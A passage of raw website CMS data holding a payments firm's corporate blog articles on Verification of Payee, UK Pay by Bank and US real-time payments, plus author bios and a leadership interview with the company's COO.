products across the region. With more than 15 years’ experience in payments, Nathan combines deep scheme and operational expertise with a strong product and customer focus.",[],{"type":25,"text":8377,"spans":8378,"direction":445},"\nNathan has spent the last five years at Form3 helping financial institutions modernise European payment processing and navigate evolving regulatory and scheme requirements. Prior to joining Form3, he spent 20 years at Nationwide Building Society, including a decade working across UK payments in a variety of specialist and leadership roles.",[],{"type":25,"text":8380,"spans":8381,"direction":445},"\nPassionate about simplifying complex payment challenges, Nathan works closely with banks, fintechs and industry partners to deliver scalable, API-first payment solutions that support innovation, resilience and compliance across Europe.",[],{"link_type":491,"key":8383,"url":8384,"target":493},"cf5331d1-616a-4bee-a4c0-00d021d1efa3","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fnathan-sheppard-bb307a22\u002F",[8386,8406,8441,8458,8488,8517,8534],{"variation":437,"version":438,"items":8387,"primary":8388,"id":8405,"slice_type":468,"slice_label":5},[],{"body":8389},[8390,8393,8396,8399,8402],{"type":988,"text":8391,"spans":8392,"direction":445},"VoP is becoming part of the payment experience ",[],{"type":25,"text":8394,"spans":8395,"direction":445},"Verification of Payee plays a simple but important role. Before a payment is authorised, it allows the payer to check whether the name entered corresponds with the account associated with the IBAN. ",[],{"type":25,"text":8397,"spans":8398,"direction":445},"A Match or Close Match gives customers greater confidence that they are paying the intended recipient. A different result gives them an opportunity to investigate before funds leave their account. ",[],{"type":25,"text":8400,"spans":8401,"direction":445},"This makes VoP more than a regulatory control; it is becoming part of the trust layer that supports digital payments. ",[],{"type":25,"text":8403,"spans":8404,"direction":445},"That has important consequences for financial institutions. If a VoP request is slow, unavailable or produces an unclear result, it affects not only the service itself but the customer’s payment journey and their confidence in the institution. ",[],"rich_text$69927244-79cb-443a-8311-afcbc343940d",{"variation":437,"version":438,"items":8407,"primary":8408,"id":8440,"slice_type":468,"slice_label":5},[],{"body":8409},[8410,8413,8416,8419,8422,8425,8428,8431,8434,8437],{"type":988,"text":8411,"spans":8412,"direction":445},"The real test starts at scale ",[],{"type":25,"text":8414,"spans":8415,"direction":445},"The first phase of VoP focused on getting connected and meeting the relevant implementation deadlines. The next phase will focus on how the service operates at scale. ",[],{"type":25,"text":8417,"spans":8418,"direction":445},"For PSPs, this means paying close attention to: ",[],{"type":1151,"text":8420,"spans":8421,"direction":445},"Response times and customer experience ",[],{"type":1151,"text":8423,"spans":8424,"direction":445},"Availability and operational resilience ",[],{"type":1151,"text":8426,"spans":8427,"direction":445},"Routing and reachability across the European network ",[],{"type":1151,"text":8429,"spans":8430,"direction":445},"Quality and consistency of verification outcomes ",[],{"type":1151,"text":8432,"spans":8433,"direction":445},"Monitoring, reporting and exception management ",[],{"type":25,"text":8435,"spans":8436,"direction":445},"These are not theoretical concerns. The EPC has identified timeouts as the largest category of reported operational errors, accounting for 43.8% of reported errors, while continued improvements in reachability remain a priority for the ecosystem. ",[],{"type":25,"text":8438,"spans":8439,"direction":445},"As transaction volumes grow, small weaknesses in infrastructure or routing can become visible to large numbers of customers. Operational performance is therefore becoming a core part of the product – not simply a back-office consideration.  ",[],"rich_text$598e5b6a-3988-4046-9c4a-830690014741",{"variation":437,"version":438,"items":8442,"primary":8443,"id":8457,"slice_type":468,"slice_label":5},[],{"body":8444},[8445,8448,8451,8454],{"type":988,"text":8446,"spans":8447,"direction":445},"VoP requires a different operating model ",[],{"type":25,"text":8449,"spans":8450,"direction":445},"VoP must support a decision within the customer’s payment journey, in real time. That puts pressure on the entire operating model. ",[],{"type":25,"text":8452,"spans":8453,"direction":445},"The strongest implementations will therefore treat VoP as a continuously managed service rather than a project that ends at go-live. ",[],{"type":25,"text":8455,"spans":8456,"direction":445},"The quality of the customer experience also depends on more than the PSP’s own platform. It is influenced by the reachability, responsiveness and data quality of other participants across the network. ",[],"rich_text$130c82f0-0380-4a53-839d-4ef9faabe78d",{"variation":437,"version":438,"items":8459,"primary":8460,"id":8487,"slice_type":468,"slice_label":5},[],{"body":8461},[8462,8465,8468,8473,8477,8481,8484],{"type":988,"text":8463,"spans":8464,"direction":445},"The 2027 implementation wave has an opportunity to learn ",[],{"type":25,"text":8466,"spans":8467,"direction":445},"The European rollout is not yet complete. The next major implementation milestones arrive in 2027, with requirements varying according to the type of institution and whether it operates in a euro-area or non-euro-area EU Member State. ",[],{"type":1151,"text":8469,"spans":8470,"direction":445},"9 January 2027: PSPs other than payment institutions and electronic money institutions in non-euro-area EU Member States must be able to receive instant euro payments. ",[8471],{"start":398,"end":8472,"type":593},15,{"type":1151,"text":8474,"spans":8475,"direction":445},"9 April 2027: Payment institutions and electronic money institutions across the EU must be able to receive instant euro payments. Those operating in euro-area Member States must also be able to send instant euro payments. ",[8476],{"start":398,"end":1951,"type":593},{"type":1151,"text":8478,"spans":8479,"direction":445},"9 July 2027: PSPs in non-euro-area EU Member States – including payment institutions and electronic money institutions – must be able to send instant euro payments and provide Verification of Payee. ",[8480],{"start":398,"end":2707,"type":593},{"type":25,"text":8482,"spans":8483,"direction":445},"For organisations preparing for these milestones, the first implementation wave offers a clear lesson: compliance should be the starting point for the operating model, not its end state. ",[],{"type":25,"text":8485,"spans":8486,"direction":445},"Institutions entering the ecosystem now have an opportunity to design for production scale from day one, considering resilience, monitoring, routing, reachability and reporting during implementation rather than adding them later. ",[],"rich_text$d368e673-71bf-4aa6-9f2c-edd330bf9345",{"variation":437,"version":438,"items":8489,"primary":8490,"id":8516,"slice_type":468,"slice_label":5},[],{"body":8491},[8492,8495,8498,8501,8504,8507,8510,8513],{"type":988,"text":8493,"spans":8494,"direction":445},"What should PSPs be asking now? ",[],{"type":25,"text":8496,"spans":8497,"direction":445},"As VoP becomes a standard part of payment journeys, PSPs should be asking more than “Are we compliant?” ",[],{"type":1151,"text":8499,"spans":8500,"direction":445},"Can we support expected volumes without compromising response times? ",[],{"type":1151,"text":8502,"spans":8503,"direction":445},"What happens when a response is delayed, unavailable or ambiguous? ",[],{"type":1151,"text":8505,"spans":8506,"direction":445},"Can our operations teams see where failures and timeouts are occurring? ",[],{"type":1151,"text":8508,"spans":8509,"direction":445},"How quickly can we adapt to future scheme and regulatory changes? ",[],{"type":1151,"text":8511,"spans":8512,"direction":445},"Are we measuring the service from the customer’s perspective? ",[],{"type":25,"text":8514,"spans":8515,"direction":445},"These questions help shift the discussion from technical connectivity to service quality. ",[],"rich_text$8dddb55c-6173-4366-8b52-7ac7bae4fc83",{"variation":437,"version":438,"items":8518,"primary":8519,"id":8533,"slice_type":468,"slice_label":5},[],{"body":8520},[8521,8524,8527,8530],{"type":988,"text":8522,"spans":8523,"direction":445},"Form3’s experience ",[],{"type":25,"text":8525,"spans":8526,"direction":445},"Since launching its European VoP service in October 2025, Form3 has seen rapid growth in Verification of Payee activity as more financial institutions go live and existing customers embed VoP into their everyday payment journeys. ",[],{"type":25,"text":8528,"spans":8529,"direction":445},"Existing customers continue to increase transaction volumes month-on-month, reflecting the wider shift from initial implementation to everyday operational use. ",[],{"type":25,"text":8531,"spans":8532,"direction":445},"This gives Form3 direct experience of supporting VoP as it moves from a regulatory requirement into an ongoing operational capability. ",[],"rich_text$cf2f5e4d-7ade-4709-884d-44ab90d27aee",{"variation":437,"version":438,"items":8535,"primary":8536,"id":8550,"slice_type":468,"slice_label":5},[],{"body":8537},[8538,8541,8544,8547],{"type":988,"text":8539,"spans":8540,"direction":445},"Building confidence into every payment ",[],{"type":25,"text":8542,"spans":8543,"direction":445},"Verification of Payee is becoming an important part of the infrastructure behind trusted European payments. The market is moving towards greater reachability, improved routing, more structured operational reporting and continued scheme development, including the evolution of VoP 2.0. ",[],{"type":25,"text":8545,"spans":8546,"direction":445},"For the next wave of institutions implementing VoP, the opportunity is to build for production from day one – not simply for the compliance deadline. ",[],{"type":25,"text":8548,"spans":8549,"direction":445},"At Form3, we support financial institutions with a cloud-native Verification of Payee platform designed to scale securely, manage operational complexity and keep pace with the continued evolution of European payments. ",[],"rich_text$d2e934f9-c998-410e-b033-e5f774a8c524",{"id":8552,"uid":8553,"type":3743,"data":8554},"alzyRBEAACkAUWC0","rise-of-pay-by-bank-in-the-uk",{"title":8555,"excerpt":8556,"card_image":8557,"published_date":8562,"reading_time":418,"tag":3751,"dek":8563,"featured_image":8564,"about_form3":8565,"client_about_heading":5,"client_about_body":8566,"author_name":1093,"author_title":1094,"author_photo":8567,"author_bio":8575,"author_linkedin":8585,"slices":8588,"meta_title":8555,"meta_description":8556},"What the rise of Pay by Bank in the UK means for banks, merchants and consumers","As account-to-account payments for e-commerce scale in the UK, Mike Walters, CEO at Form3, explores the essential infrastructure that banks and fintechs need to meet the demands of seamless checkout.",{"dimensions":8558,"alt":8555,"copyright":5,"url":8559,"id":8560,"edit":8561},{"width":412,"height":412},"\u002F_prismic-media\u002Fd96451418c5565d0-7AkLCkHJBJdedkYD_rise-of-pay-by-bank-in-the-uk.p","7AkLCkHJBJdedkYD",{"x":398,"y":398,"zoom":399,"background":400},"2026-04-16","As account-to-account payments for e-commerce scale in the UK, Mike Walters, CEO at Form3, explores the essential infrastructure that banks and fintechs need to meet the demands of seamless checkout",{},[],[],{"dimensions":8568,"alt":8571,"copyright":5,"url":8572,"id":8573,"edit":8574},{"width":8569,"height":8570},1365,2048,"mike","\u002F_prismic-media\u002Fe4bf017915ed9fe1-MkWUKXE1UnneH9Gz_mike.jpg","MkWUKXE1UnneH9Gz",{"x":398,"y":398,"zoom":399,"background":400},[8576,8579,8582],{"type":25,"text":8577,"spans":8578,"direction":445},"Mike was appointed CEO in October 2023, having joined Form3 as CPO and co-founder in 2016. As CPO, he was responsible for product strategy, development, and management, as well as strategic initiatives. He also played a key role in funding activities and in building and maintaining key client relationships.",[],{"type":25,"text":8580,"spans":8581,"direction":445},"Prior to Form3, Mike held senior Product roles within Barclays. As Product Director for Barclaycard Payment Acceptance (card acquiring), he was a member of the Executive Committee and responsible for P&L, product management, strategy development, vendor selection and management, digital transformation, and M&A. As Head of UK Corporate Payments for Barclays Corporate Bank, Mike held product management responsibility for all payment, receipting and reporting products delivered to Barclays corporate clients – this included defining the Barclays Corporate Bank mobile payments strategy and initiating, building and scaling multi-award-winning mobile payment solutions.",[],{"type":25,"text":8583,"spans":8584,"direction":445},"In his early career, Mike managed client relationship teams responsible globally for North American Financial Institutions and FTSE100 clients, gaining extensive experience across enterprise clients in both domestic and international markets.",[],{"link_type":491,"key":8586,"url":8587,"target":493},"ce7712f2-dd81-4159-bfbc-8b7659720161","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmike-walters-2574b2a\u002F",[8589,8624,8638,8658],{"variation":437,"version":438,"items":8590,"primary":8591,"id":8623,"slice_type":468,"slice_label":5},[],{"body":8592},[8593,8596,8599,8602,8605,8608,8611,8617,8620],{"type":25,"text":8594,"spans":8595,"direction":445},"Every day, millions of payments are made online, as e-commerce solidifies its hold as the ‘go-to’ way to shop.",[],{"type":25,"text":8597,"spans":8598,"direction":445},"Traditionally, paying for goods and services requires customers to manually insert card details for every transaction made, with payments then taking hours or even days to process.",[],{"type":25,"text":8600,"spans":8601,"direction":445},"In recent years, Pay by Bank has gathered momentum as an alternative way to pay. These payments allow customers to pay a retailer or business directly from their bank account, using account-to-account (A2A) payment rails, rather than cards.",[],{"type":25,"text":8603,"spans":8604,"direction":445},"The foundations for this were laid in 2016, with the Open Banking PSD2 Regulations, which mandated that banks must allow third-party providers to access customer account data and initiate payments, with customer consent, via secure APIs.",[],{"type":25,"text":8606,"spans":8607,"direction":445},"These regulations were made applicable for banks in January 2018, with firms including MasterCard, HSBC and Natwest then rolling out their own initiatives.",[],{"type":25,"text":8609,"spans":8610,"direction":445},"Fast forward to 2026, and major retailers, including Amazon and eBay, are now integrating Pay by Bank payment capabilities into their services in the UK.",[],{"type":25,"text":8612,"spans":8613,"direction":445},"The growth in account-to-account payments was reflected in the UK government’s recently released Payments Forward Plan, which outlined the intention to enhance existing payment rail infrastructure to better support resilience and innovation in direct bank transfer payments.",[8614],{"start":4084,"end":3402,"type":489,"data":8615},{"link_type":491,"url":8616,"target":493},"https:\u002F\u002Fassets.publishing.service.gov.uk\u002Fmedia\u002F699f2bc6c497bac082bc76bc\u002FPayments_Forward_Plan_.pdf",{"type":25,"text":8618,"spans":8619,"direction":445},"The report also outlines plans to establish Open Banking on a commercially sustainable basis, advancing plans to make account-to-account payments ‘ubiquitous.’",[],{"type":25,"text":8621,"spans":8622,"direction":445},"With all this in motion, the pressure is now on for banks and fintechs to ensure they have the right architecture in place to meet the growing demands on them from customers, retailers and regulators.",[],"rich_text$49cb8269-febd-4f64-9866-c413cb4eebce",{"variation":437,"version":438,"items":8625,"primary":8626,"id":8637,"slice_type":468,"slice_label":5},[],{"body":8627},[8628,8631,8634],{"type":988,"text":8629,"spans":8630,"direction":445},"The benefits for UK consumers and businesses",[],{"type":25,"text":8632,"spans":8633,"direction":445},"For consumers, Pay by Bank means safer transactions. Using banking apps to verify transactions, often through biometrics, removes the fraud risk associated with cards and provides clear visibility of transactions. By establishing a secure connection between the customer’s intended transaction and their banks, this payment method also removes the need for shoppers to enter and store card details or update saved details when old cards expire.",[],{"type":25,"text":8635,"spans":8636,"direction":445},"On the merchant side, this model is becoming increasingly popular for companies looking for simple, secure and low-cost alternatives to cards for online payments. Allowing customers to pay for goods and services via banking apps offers companies lower transaction fees compared to traditional card payments and minimises the risk of chargebacks as payments are instantly verified.",[],"rich_text$5f0996bc-566d-4a33-9598-8bf50bcd5742",{"variation":437,"version":438,"items":8639,"primary":8640,"id":8657,"slice_type":468,"slice_label":5},[],{"body":8641},[8642,8645,8648,8651,8654],{"type":988,"text":8643,"spans":8644,"direction":445},"Infrastructure to match scalability and demand",[],{"type":25,"text":8646,"spans":8647,"direction":445},"In the last 10 to 15 years, cards have undergone a digital transformation to meet the demands of e-commerce, with digital wallets, tokenization and real-time monitoring now the norm. If Pay by Bank is to become a default e-commerce option, it must match that level of infrastructure maturity. Payments cannot afford to fail, and the architecture behind them is what prevents this from happening.",[],{"type":25,"text":8649,"spans":8650,"direction":445},"The idea that money moves overnight, or a few days later, is now outdated. Across the globe, real-time payment schemes are becoming less an optional innovation and more essential infrastructure. ",[],{"type":25,"text":8652,"spans":8653,"direction":445},"Direct bank transfers use account-to-account rails to deliver instant, irrevocable payments. However, this immediacy removes any margin for error, as when a customer clicks “pay,” the transaction must authenticate, process and settle in seconds.",[],{"type":25,"text":8655,"spans":8656,"direction":445},"Robust safeguards, including strong customer authentication and data protection, are also needed to minimise the risk of fraudulent transactions.",[],"rich_text$0e7a398c-6332-4e85-8175-79d884238c4f",{"variation":437,"version":438,"items":8659,"primary":8660,"id":8677,"slice_type":468,"slice_label":5},[],{"body":8661},[8662,8665,8668,8671,8674],{"type":988,"text":8663,"spans":8664,"direction":445},"Modern architecture as standard",[],{"type":25,"text":8666,"spans":8667,"direction":445},"Pay by Bank is not just about retailers offering another payment option or finding an alternative to card fees. Instead, the shift towards account-to-account payments should be viewed as part of the wider structural shift in how money moves.",[],{"type":25,"text":8669,"spans":8670,"direction":445},"Its success depends just as much on whether infrastructure can flawlessly orchestrate payments 24\u002F7 as it does on customer demand.",[],{"type":25,"text":8672,"spans":8673,"direction":445},"If banks are to capitalise on this opportunity, they must invest in dependable payment platforms that facilitate seamless checkout and can scale as retail demand for these payment methods increases.",[],{"type":25,"text":8675,"spans":8676,"direction":445},"The right infrastructure will determine long-term success and send a message to the e-commerce community, encouraging more household names to follow in Amazon and eBay’s footsteps and integrate Pay by Bank into their services.",[],"rich_text$6e5a2d6b-a90b-4991-96b5-b6b45199a1db",{"id":8679,"uid":8680,"type":3743,"data":8681},"alzyeBEAACoAUWEq","why-mid-sized-banks-cant-afford-to-ignore-real-time-payments",{"title":8682,"excerpt":8683,"card_image":8684,"published_date":8689,"reading_time":418,"tag":5813,"dek":8690,"featured_image":8691,"about_form3":8696,"client_about_heading":5,"client_about_body":8697,"author_name":5,"author_title":5,"author_photo":8698,"author_bio":8699,"author_linkedin":8700,"slices":8701,"meta_title":8682,"meta_description":8683},"Why mid-sized banks can’t afford to ignore real-time payments","For years, mid-sized banks have struck a balance between personalized service and strong operational capabilities, competing with both large national banks and emerging fintechs. However, as the payments landscape rapidly evolves, that balance is shifting. The rise of real-time payments (RTP) is redefining customer expectations, and financial institutions that do not move quickly to offer instant payments risk losing market share to competitors that do.",{"dimensions":8685,"alt":8682,"copyright":5,"url":8686,"id":8687,"edit":8688},{"width":412,"height":412},"\u002F_prismic-media\u002Fb77dc868e8fff3c1-2E-HouIl9Arbr2lI_why-mid-sized-banks-cant-afford.png","2E-HouIl9Arbr2lI",{"x":398,"y":398,"zoom":399,"background":400},"2025-02-27","For years, mid-sized banks have struck a balance between personalized service and strong operational capabilities, competing with both large national banks and emerging fintechs. However, as the payments landscape rapidly evolves, that balance is shifting. The rise of real-time payments (RTP) is redefining customer expectations, and financial institutions that do not move quickly to offer instant payments risk losing market share to competitors that do. The US market has been slower to adopt real-time payments compared to international peers, but that is changing fast. Since The Clearing House launched the RTP® network in 2017, it has grown to cover nearly 90% of U.S. demand deposit accounts, with more than 900 banks already connected. With the introduction of FedNow® in 2023, the urgency for mid-sized banks to modernize their payments infrastructure has never been greater. This is not just a matter of innovation; it is a matter of competitive necessity. Customers—both consumers and businesses—increasingly expect immediate access to funds, and banks that cannot meet this expectation risk losing deposits, transaction volume, and high-value relationships.",{"dimensions":8692,"alt":5,"copyright":5,"url":8693,"id":8694,"edit":8695},{"width":423,"height":424},"\u002F_prismic-media\u002Fad40962ca944767b-pUZmAue4n7VsXh5L_Z635s5bqstJ9-k4j.png","pUZmAue4n7VsXh5L",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[8702,8728,8738,8764,8772,8794],{"variation":437,"version":438,"items":8703,"primary":8704,"id":8727,"slice_type":468,"slice_label":5},[],{"body":8705},[8706,8709,8712,8715,8719,8723],{"type":988,"text":8707,"spans":8708,"direction":445},"The Competitive Pressure is Real",[],{"type":25,"text":8710,"spans":8711,"direction":445},"Mid-sized banks occupy a unique space in the industry. Unlike smaller community banks, they have the resources to scale new payment capabilities, but unlike the largest national banks, they cannot afford to lag behind in innovation without serious consequences. ",[],{"type":25,"text":8713,"spans":8714,"direction":445},"The competitive landscape is clear: ",[],{"type":3373,"text":8716,"spans":8717,"direction":445},"Large banks are aggressively pushing RTP to maintain deposit share. Top-tier institutions are leveraging instant payments to attract corporate clients, provide real-time payroll solutions, and increase customer engagement. ",[8718],{"start":398,"end":2397,"type":593},{"type":3373,"text":8720,"spans":8721,"direction":445},"Fintechs are bypassing traditional banking rails. Companies like Venmo, CashApp, and Stripe offer real-time transactions that compete directly with bank-led payment products. Mid-sized banks must offer similar capabilities to keep customers engaged within their ecosystem. ",[8722],{"start":398,"end":2868,"type":593},{"type":3373,"text":8724,"spans":8725,"direction":445},"Business banking customers now expect faster payments. Mid-sized commercial clients need real-time disbursements for payroll, vendor payments, and treasury management. Banks that lack RTP risk losing these relationships to more agile providers. ",[8726],{"start":398,"end":3963,"type":593},"rich_text$755d8c07-43d3-414f-a852-53ff64bd2a5a",{"variation":437,"version":438,"items":8729,"primary":8730,"id":8737,"slice_type":468,"slice_label":5},[],{"body":8731},[8732],{"type":25,"text":8733,"spans":8734,"direction":445},"Customer attrition is a very real risk. When businesses and consumers discover that faster, more predictable payments are available elsewhere, they move their accounts accordingly. ",[8735],{"start":8736,"end":3299,"type":593},148,"rich_text$370fb8b2-3f19-48f1-a33b-60b693d18b70",{"variation":437,"version":438,"items":8739,"primary":8740,"id":8763,"slice_type":468,"slice_label":5},[],{"body":8741},[8742,8745,8748,8751,8755,8759],{"type":988,"text":8743,"spans":8744,"direction":445},"RTP Adoption is a Strategic Imperative — And More Attainable Than You Think",[],{"type":25,"text":8746,"spans":8747,"direction":445},"Many mid-sized banks hesitate to adopt RTP due to concerns about cost, complexity, and integration challenges. But the reality is that financial institutions of all sizes are already making the shift, leveraging scalable, cloud-native solutions that do not require a full infrastructure overhaul. ",[],{"type":25,"text":8749,"spans":8750,"direction":445},"The most effective approach for these institutions is a phased adoption strategy, ensuring they can introduce real-time payments without disrupting existing operations. Instead of a high-cost, full-scale transformation, many banks are following a “crawl-walk-run” approach, which allows them to integrate RTP in stages: ",[],{"type":3373,"text":8752,"spans":8753,"direction":445},"Start with receive-only capabilities. By first enabling the ability to accept real-time payments, banks can immediately improve funds availability for customers while minimizing backend changes. ",[8754],{"start":398,"end":846,"type":593},{"type":3373,"text":8756,"spans":8757,"direction":445},"Optimize cash management and customer experiences. Once RTP is integrated, banks can enhance treasury services, support faster loan disbursements, and enable instant settlement for commercial clients. ",[8758],{"start":398,"end":2971,"type":593},{"type":3373,"text":8760,"spans":8761,"direction":445},"Expand to full RTP send capabilities. Over time, banks can fully participate in the real-time payments ecosystem, enabling outbound RTP transactions across multiple use cases. ",[8762],{"start":398,"end":846,"type":593},"rich_text$daba8edd-9965-4d94-a5d8-780c4eee8543",{"variation":437,"version":438,"items":8765,"primary":8766,"id":8771,"slice_type":468,"slice_label":5},[],{"body":8767},[8768],{"type":25,"text":8769,"spans":8770,"direction":445},"By following this structured approach, mid-sized banks can strategically integrate RTP without overhauling their core systems, making adoption manageable, cost-effective, and scalable. ",[],"rich_text$1305f1ea-2c5a-4f30-aebf-6cc9c7412163",{"variation":437,"version":438,"items":8773,"primary":8774,"id":8793,"slice_type":468,"slice_label":5},[],{"body":8775},[8776,8779,8782,8785],{"type":988,"text":8777,"spans":8778,"direction":445},"A Low-Risk, High-Reward Investment in the Future",[],{"type":25,"text":8780,"spans":8781,"direction":445},"Some financial institutions still hesitate, assuming that RTP requires significant upfront investment and operational restructuring. In reality, banks today can connect to real-time payment networks via API-driven, cloud-native platforms, drastically simplifying the process. ",[],{"type":25,"text":8783,"spans":8784,"direction":445},"Mid-sized banks that take a wait-and-see approach risk losing ground as larger players accelerate their RTP adoption. This is not just about adding another payment option—it is about future-proofing operations, securing deposits, and ensuring long-term relevance in a rapidly evolving market. ",[],{"type":25,"text":8786,"spans":8787,"direction":445},"Banks that fail to offer RTP will increasingly struggle to compete for business deposits, consumer engagement, and corporate relationships. On the other hand, those that move now to implement real-time payments will be positioned as leaders, able to meet modern expectations while driving new revenue streams and efficiencies. ",[8788,8790],{"start":592,"end":8789,"type":593},138,{"start":8791,"end":8792,"type":593},250,325,"rich_text$8a1bd959-4ebe-4cdd-9daf-1fed3214786c",{"variation":437,"version":527,"items":8795,"primary":8796,"id":8821,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":8797,"body":8801,"cta_label":5,"cta_link":8805,"aside_type":6213,"aside_image":8812,"aside_video":8813,"aside_video_poster":8814,"aside_video_reduced_motion":8815,"aside_video_url":5,"aside_embed":8816,"pardot_form_url":8817,"form_submit_label":8818,"form_variant":6220,"form_heading":8819,"redirect_on_success":8820,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[8798],{"type":746,"text":8799,"spans":8800,"direction":445},"Get Ahead of the Curve — Start Your RTP Journey Today ",[],[8802],{"type":25,"text":8803,"spans":8804,"direction":445},"The move to real-time payments does not have to be disruptive. With the right approach, mid-sized banks can adopt RTP gradually, leveraging modern cloud-based solutions that eliminate unnecessary complexity. ",[],{"link_type":536,"key":8806,"kind":8807,"id":8808,"url":8809,"name":8810,"size":8811},"6c58d501-20ec-4718-b6f3-00ccf8b911c7","file","NjOhDlt7cggLJfgn","\u002F_prismic-media\u002F64d5220d51c947d8-NjOhDlt7cggLJfgn_F3_000X_TCH_Whitepaper_v02a-1-.","F3_000X_TCH_Whitepaper_v02a-1-.pdf","2187847",{},{"link_type":536},{},{},{},"https:\u002F\u002Fcontent.form3.tech\u002Fl\u002F957092\u002F2025-06-30\u002Fjdhkw","Download","Get the report",{"link_type":542},"content_block$211aa351-3883-4ae6-a961-87a3e117b347",{"id":8823,"uid":8824,"type":3743,"data":8825},"alz0TREAACwAUWWJ","female-leadership-spotlight---eimear-oconnor",{"title":8826,"excerpt":8827,"card_image":8828,"published_date":8833,"reading_time":1633,"tag":3751,"dek":8827,"featured_image":8834,"about_form3":8835,"client_about_heading":5,"client_about_body":8836,"author_name":5,"author_title":5,"author_photo":8837,"author_bio":8838,"author_linkedin":8839,"slices":8840,"meta_title":8826,"meta_description":8827},"Female Leadership Spotlight - Eimear O'Connor","As part of Women’s History Month, we have brought together a series highlighting the wonderful women that lead Form3. The third spotlight is Eimear O’Connor, Form3's Chief Operating Officer.",{"dimensions":8829,"alt":8826,"copyright":5,"url":8830,"id":8831,"edit":8832},{"width":412,"height":412},"\u002F_prismic-media\u002F5842fa7a3e4c69fc-5_3MhgeEwF9PHN71_female-leadership-spotlight---e.png","5_3MhgeEwF9PHN71",{"x":398,"y":398,"zoom":399,"background":400},"2021-03-29",{},[],[],{},[],{"link_type":434},[8841,8855,8879,8890,8915,8929,8943],{"variation":437,"version":438,"items":8842,"primary":8843,"id":8854,"slice_type":468,"slice_label":5},[],{"body":8844},[8845,8848,8851],{"type":988,"text":8846,"spans":8847,"direction":445},"Tell us about your career?",[],{"type":25,"text":8849,"spans":8850,"direction":445},"I joined Form3 as the Chief Operating Officer and part of the founding management, when Form3 was just 6-months old, back in 2017. My role spans both the Business and Service Operations of the company.",[],{"type":25,"text":8852,"spans":8853,"direction":445},"Before joining Form3 I worked and consulted within financial services organisations on strategy, product and operations for over 15 years. Among the many highlights was my role just before this at Barclays, where I was responsible for the corporate product development of Pingit, an award-winning open market mobile payments platform.",[],"rich_text$d28cd615-9960-41d0-a74c-20c91266f66a",{"variation":437,"version":527,"items":8856,"primary":8857,"id":8878,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":8858,"body":8862,"cta_label":5,"cta_link":8866,"aside_type":533,"aside_image":8867,"aside_video":8873,"aside_video_poster":8874,"aside_video_reduced_motion":8875,"aside_video_url":5,"aside_embed":8876,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":8877,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[8859],{"type":746,"text":8860,"spans":8861,"direction":445},"What sparked your interest in Form3?",[],[8863],{"type":25,"text":8864,"spans":8865,"direction":445},"Put simply, the people and the proposition. When I joined Form3, there were only 6 employees. Today, there are over 200. Despite this growth, the culture at Form3 remains one of the qualities that first attracted me to the company. Our people have always been very knowledgeable about the areas they work in and passionate about creative problem solving. There’s a real desire to create and nurture a business that we’re all proud to work for. Whether the challenge is finding a solution to a business issue for our customers, expanding our product offering, or delivering the high level of service and support our customers have come to expect from us our teams are passionate about finding great solutions. This creativity and passion are two of the things that still keep me excited about work every day.",[],{"link_type":434},{"dimensions":8868,"alt":5,"copyright":5,"url":8870,"id":8871,"edit":8872},{"width":8869,"height":488},611,"\u002F_prismic-media\u002F0f58775561bdd4af-8G0lku5eHZzU69D4_51f12d29-0c9f-4beb-a023-965106d.png","8G0lku5eHZzU69D4",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$53cada08-7ec8-47af-8c8f-5dadf765bd00",{"variation":437,"version":438,"items":8880,"primary":8881,"id":8889,"slice_type":468,"slice_label":5},[],{"body":8882},[8883,8886],{"type":988,"text":8884,"spans":8885,"direction":445},"Tell us about your biggest adventure?",[],{"type":25,"text":8887,"spans":8888,"direction":445},"About 10 years ago my (now) husband and I left our jobs, packed our bags and headed off on our ‘late in life’ gap year. We skied the Canadian Rockies for 3-months, toured around Australia and New Zealand and for 6-months we lived on our boat pottering around the Mediterranean between Western Greece and Turkey. What a year!",[],"rich_text$3a3672a9-dce0-40a7-88b5-f94ebcf8891b",{"variation":437,"version":527,"items":8891,"primary":8892,"id":8914,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":8893,"body":8897,"cta_label":5,"cta_link":8901,"aside_type":533,"aside_image":8902,"aside_video":8909,"aside_video_poster":8910,"aside_video_reduced_motion":8911,"aside_video_url":5,"aside_embed":8912,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":8913,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[8894],{"type":746,"text":8895,"spans":8896,"direction":445},"What is the biggest thing you have learned as a leader?",[],[8898],{"type":25,"text":8899,"spans":8900,"direction":445},"Own your challenges – and don’t wait around and expect someone else to solve problems for you. If you see there’s an issue, be proactive and take the initiative, rally the team, get people involved, collaborate, find a solution and simply get the job done. The collaboration piece is essential as this is what creates the best solutions, ensures others are engaged and enables people to own their solutions and run with them. Build confidence, spread the ownership and have trust!",[],{"link_type":434},{"dimensions":8903,"alt":5,"copyright":5,"url":8906,"id":8907,"edit":8908},{"width":8904,"height":8905},433,574,"\u002F_prismic-media\u002F3938abe2effea016-XvTs_iWiuSJ4YaWL_f4f27470-5e0c-452b-aad9-734ea66.jpeg","XvTs_iWiuSJ4YaWL",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$5b298712-1cf4-4cca-9822-09268bf48694",{"variation":437,"version":438,"items":8916,"primary":8917,"id":8928,"slice_type":468,"slice_label":5},[],{"body":8918},[8919,8922,8925],{"type":988,"text":8920,"spans":8921,"direction":445},"What is it like working in an industry that is traditionally male dominated?",[],{"type":25,"text":8923,"spans":8924,"direction":445},"I’ve always worked in male dominated industries and so it’s difficult for me to consider what my career would look like anywhere else. That said, I’ve always believed I could achieve the goals I set for myself, and still believe in that today.",[],{"type":25,"text":8926,"spans":8927,"direction":445},"There are challenges in the industry of course, but I do think it can and must change, young women at any point in their careers must know that no door is closed as a result of their 